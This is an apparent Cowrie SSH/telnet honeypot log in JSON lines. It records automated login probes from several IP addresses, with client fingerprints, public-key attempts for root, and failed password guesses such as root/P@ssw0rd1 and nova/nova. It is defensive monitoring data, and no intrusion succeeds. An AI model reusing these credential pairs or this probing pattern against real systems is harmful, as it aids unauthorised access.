{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:55.581274Z","src_ip":"192.109.200.237","session":"dc6e6b52a899","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd1","message":"login attempt [root/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:55.829268Z","src_ip":"192.109.200.237","session":"dc6e6b52a899","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:56.915824Z","src_ip":"192.109.200.237","session":"dc6e6b52a899","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.190.215.90","src_port":38720,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd82d8ad8d1c","protocol":"ssh","message":"New connection: 186.190.215.90:38720 (10.17.0.5:22) [session: dd82d8ad8d1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:57.157995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:57.166594Z","src_ip":"186.190.215.90","session":"dd82d8ad8d1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:57.273604Z","src_ip":"186.190.215.90","session":"dd82d8ad8d1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:c8:d5:86:7e:a0:94:65:e8:da:f4:17:15:2d:34:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1FCC1MNp2G7hJ7r659yehlNP7Fgf1RQwDn2c61MdnDGmOAUwhrnrgn5gV7zROxemOX4wUdzCFRKUPD3d/q/u7UpXL5SAnoJAcsEzIFJ9+zvnn1O57O6vH+B5QGzP8gAIk2FbdOu2xN3nDSAqvKJbhFntBNmxpotbvQQJWVphVHvmLfnsgwOpLqGH4R80ssJjzVGj00DFYpxpZlP0mLE8pIT2Pjo8mFqT20DmHlswf1rYGcD6j4ZNhRuR9jL7PO7pinf2d6Xvbi6O2ra6qbzWg64PsSa73AEbzverw3T2iHZg/g/8Td9K1gnZDOgdBVirQtDJOLj79T90anoQOJ70d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:c8:d5:86:7e:a0:94:65:e8:da:f4:17:15:2d:34:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:57.771919Z","src_ip":"186.190.215.90","session":"dd82d8ad8d1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:c8:d5:86:7e:a0:94:65:e8:da:f4:17:15:2d:34:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1FCC1MNp2G7hJ7r659yehlNP7Fgf1RQwDn2c61MdnDGmOAUwhrnrgn5gV7zROxemOX4wUdzCFRKUPD3d/q/u7UpXL5SAnoJAcsEzIFJ9+zvnn1O57O6vH+B5QGzP8gAIk2FbdOu2xN3nDSAqvKJbhFntBNmxpotbvQQJWVphVHvmLfnsgwOpLqGH4R80ssJjzVGj00DFYpxpZlP0mLE8pIT2Pjo8mFqT20DmHlswf1rYGcD6j4ZNhRuR9jL7PO7pinf2d6Xvbi6O2ra6qbzWg64PsSa73AEbzverw3T2iHZg/g/8Td9K1gnZDOgdBVirQtDJOLj79T90anoQOJ70d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:57.775226Z","src_ip":"186.190.215.90","session":"dd82d8ad8d1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:a5:a4:93:ce:5c:35:6d:89:e9:7c:e0:81:5e:0d:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeGjwjpuwdiL5bMqGKdboWGFwt7VkHQkSD64wTleRxVoQhIx3PR2todPWGSmPjp8c/dwQUU6XLwOYKUn73/o2ZdxqqDsU0m/xinU6DlszO6k9DrxmjUGJ7yUrJ7sfg/fzTr2LvwocuxbBAN5nZpKeNIigKy1TzOkP58bwbAQfgTr1KLxXWslGIKaYlEAuuEr7Zu1nPOIp3nciqar1lDRBp5TvxoecSOdtag8yCkikG1bZAE55xWyidGoYLGI+OE169vHkfWGfmrWP2UWK28SHw20b75HBks5C9+oB7Vb9Hc6hXjdCpL9u+RjXVB+ja5hPDfaFF9GApid7fNYmKhxRf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:a5:a4:93:ce:5c:35:6d:89:e9:7c:e0:81:5e:0d:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:57.878831Z","src_ip":"186.190.215.90","session":"dd82d8ad8d1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:a5:a4:93:ce:5c:35:6d:89:e9:7c:e0:81:5e:0d:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeGjwjpuwdiL5bMqGKdboWGFwt7VkHQkSD64wTleRxVoQhIx3PR2todPWGSmPjp8c/dwQUU6XLwOYKUn73/o2ZdxqqDsU0m/xinU6DlszO6k9DrxmjUGJ7yUrJ7sfg/fzTr2LvwocuxbBAN5nZpKeNIigKy1TzOkP58bwbAQfgTr1KLxXWslGIKaYlEAuuEr7Zu1nPOIp3nciqar1lDRBp5TvxoecSOdtag8yCkikG1bZAE55xWyidGoYLGI+OE169vHkfWGfmrWP2UWK28SHw20b75HBks5C9+oB7Vb9Hc6hXjdCpL9u+RjXVB+ja5hPDfaFF9GApid7fNYmKhxRf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:57.882846Z","src_ip":"186.190.215.90","session":"dd82d8ad8d1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:f4:c9:f0:ad:e9:f3:26:f9:7d:ea:b3:3c:85:ea:9e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKA8eJF4fNZCaM/yUAQTFA3sgMRDz0DNvCnIxQFZ2Qc4","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint bf:f4:c9:f0:ad:e9:f3:26:f9:7d:ea:b3:3c:85:ea:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:57.986450Z","src_ip":"186.190.215.90","session":"dd82d8ad8d1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:f4:c9:f0:ad:e9:f3:26:f9:7d:ea:b3:3c:85:ea:9e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKA8eJF4fNZCaM/yUAQTFA3sgMRDz0DNvCnIxQFZ2Qc4","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:57.989735Z","src_ip":"186.190.215.90","session":"dd82d8ad8d1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:71:94:c1:1b:45:fe:8f:70:6b:9f:14:37:0d:fe:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSZoAtF3mdS9q7N1fEBqwLQwdi+N3G9cSYERtfaczMjxsMWjiVJp0tZr8cSSnmqL0yjGYcwArvkOEJI0uTa64mwqjTyqX2u/ce9LNQoWAPyeIEEtJLtMRR8xBDSuMJv+TXf9tQ7PF/H+ITXWANN05hFgY7VyIbil9z7j7Z+9BL1KBdk7tGTmJjnsRo7inhlaj5e4FTJhGg7K3Li0R6jrIvs7KqcNR7UZON3PdMPhZ6NuVOlWTNIrxmkqFLJFCoB4OHtoRecfqE8iPiUdEw0KhOHqYUaWfjYDT9SwGv9EBTqdVq4/vovONRgTUT3MxiqvS+fKsIr+by6QuNYyQT/I7V5kh+Un2J+lndRlEP7PAFjzqLocN+3i6cDrgrRD7ABMMfMmlWYghbe56nKvghL68xJ4DYgQcVjjGvG/t0yAZLSOrwE7EUjgpKgZKd1lXgagJIqsLYTZi6KNfsAmh9Jacig3n1SfVFZrhce0sFeynxCc5TIB2s2yTBfouzpC4vuQ0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:71:94:c1:1b:45:fe:8f:70:6b:9f:14:37:0d:fe:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:58.095393Z","src_ip":"186.190.215.90","session":"dd82d8ad8d1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:71:94:c1:1b:45:fe:8f:70:6b:9f:14:37:0d:fe:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSZoAtF3mdS9q7N1fEBqwLQwdi+N3G9cSYERtfaczMjxsMWjiVJp0tZr8cSSnmqL0yjGYcwArvkOEJI0uTa64mwqjTyqX2u/ce9LNQoWAPyeIEEtJLtMRR8xBDSuMJv+TXf9tQ7PF/H+ITXWANN05hFgY7VyIbil9z7j7Z+9BL1KBdk7tGTmJjnsRo7inhlaj5e4FTJhGg7K3Li0R6jrIvs7KqcNR7UZON3PdMPhZ6NuVOlWTNIrxmkqFLJFCoB4OHtoRecfqE8iPiUdEw0KhOHqYUaWfjYDT9SwGv9EBTqdVq4/vovONRgTUT3MxiqvS+fKsIr+by6QuNYyQT/I7V5kh+Un2J+lndRlEP7PAFjzqLocN+3i6cDrgrRD7ABMMfMmlWYghbe56nKvghL68xJ4DYgQcVjjGvG/t0yAZLSOrwE7EUjgpKgZKd1lXgagJIqsLYTZi6KNfsAmh9Jacig3n1SfVFZrhce0sFeynxCc5TIB2s2yTBfouzpC4vuQ0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:58.099333Z","src_ip":"186.190.215.90","session":"dd82d8ad8d1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:20:de:de:2e:38:37:24:68:42:8b:29:12:b2:a8:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxLxUksnIgZVeLRJIq91jDATSySg94FnQtFmaJbPt4b7Iuy8MM/GLESps+0mzvlTPuCgJUha6HVQUbHEJk/eWIowwEu9B+Rjhfe9JYu/iqnQDWqaU83SnlG0A0weJv5gahzeaPFLkD8NhHJxDuNNoa5IeqjJ695WIe9Wc40DGVhA/Y3ACJmP6tATVs7q7j5c/foXYndipOYZcKdH6QQSAR+VX9rqirpkZl7UQnodHdguDjqUF0Pg0ZSzqSaxHvdaqGKaGK3zwSVONlL9kv8AG3mPMqIPTzM7sn2CimsE9u+pNigLy05iKnOHuWiJ8dnfghBzht5x0DB5sX4UXdSpgV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:20:de:de:2e:38:37:24:68:42:8b:29:12:b2:a8:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:58.204589Z","src_ip":"186.190.215.90","session":"dd82d8ad8d1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:20:de:de:2e:38:37:24:68:42:8b:29:12:b2:a8:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxLxUksnIgZVeLRJIq91jDATSySg94FnQtFmaJbPt4b7Iuy8MM/GLESps+0mzvlTPuCgJUha6HVQUbHEJk/eWIowwEu9B+Rjhfe9JYu/iqnQDWqaU83SnlG0A0weJv5gahzeaPFLkD8NhHJxDuNNoa5IeqjJ695WIe9Wc40DGVhA/Y3ACJmP6tATVs7q7j5c/foXYndipOYZcKdH6QQSAR+VX9rqirpkZl7UQnodHdguDjqUF0Pg0ZSzqSaxHvdaqGKaGK3zwSVONlL9kv8AG3mPMqIPTzM7sn2CimsE9u+pNigLy05iKnOHuWiJ8dnfghBzht5x0DB5sX4UXdSpgV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:58.208791Z","src_ip":"186.190.215.90","session":"dd82d8ad8d1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:58.314304Z","src_ip":"186.190.215.90","session":"dd82d8ad8d1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48424,"dst_ip":"159.203.135.109","dst_port":22,"session":"6042e2065674","protocol":"ssh","message":"New connection: 192.109.200.237:48424 (159.203.135.109:22) [session: 6042e2065674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:58.837400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:58.842148Z","src_ip":"192.109.200.237","session":"6042e2065674","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:58.924487Z","src_ip":"192.109.200.237","session":"6042e2065674","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nova","password":"nova","message":"login attempt [nova/nova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:59.171449Z","src_ip":"192.109.200.237","session":"6042e2065674","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.868290424346924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:59.831807Z","src_ip":"152.42.224.71","session":"0db4ad5127b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:00.255425Z","src_ip":"192.109.200.237","session":"6042e2065674","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49788,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bed2c95efe4","protocol":"ssh","message":"New connection: 192.109.200.237:49788 (159.203.135.109:22) [session: 6bed2c95efe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:02.262271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:02.419612Z","src_ip":"192.109.200.237","session":"6bed2c95efe4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:02.435519Z","src_ip":"192.109.200.237","session":"6bed2c95efe4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:02.756482Z","src_ip":"192.109.200.237","session":"6bed2c95efe4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50228,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2626434fd68","protocol":"telnet","message":"New connection: 152.42.224.71:50228 (10.17.0.5:23) [session: e2626434fd68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:03.733601Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:03.841001Z","src_ip":"192.109.200.237","session":"6bed2c95efe4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49796,"dst_ip":"159.203.135.109","dst_port":22,"session":"83b2693e2e39","protocol":"ssh","message":"New connection: 192.109.200.237:49796 (159.203.135.109:22) [session: 83b2693e2e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:05.803879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:05.808755Z","src_ip":"192.109.200.237","session":"83b2693e2e39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:05.891554Z","src_ip":"192.109.200.237","session":"83b2693e2e39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:06.141304Z","src_ip":"192.109.200.237","session":"83b2693e2e39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:07.227314Z","src_ip":"192.109.200.237","session":"83b2693e2e39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.44.31","src_port":58076,"dst_ip":"10.17.0.5","dst_port":22,"session":"3491f32f98d0","protocol":"ssh","message":"New connection: 31.59.44.31:58076 (10.17.0.5:22) [session: 3491f32f98d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:08.193429Z"}
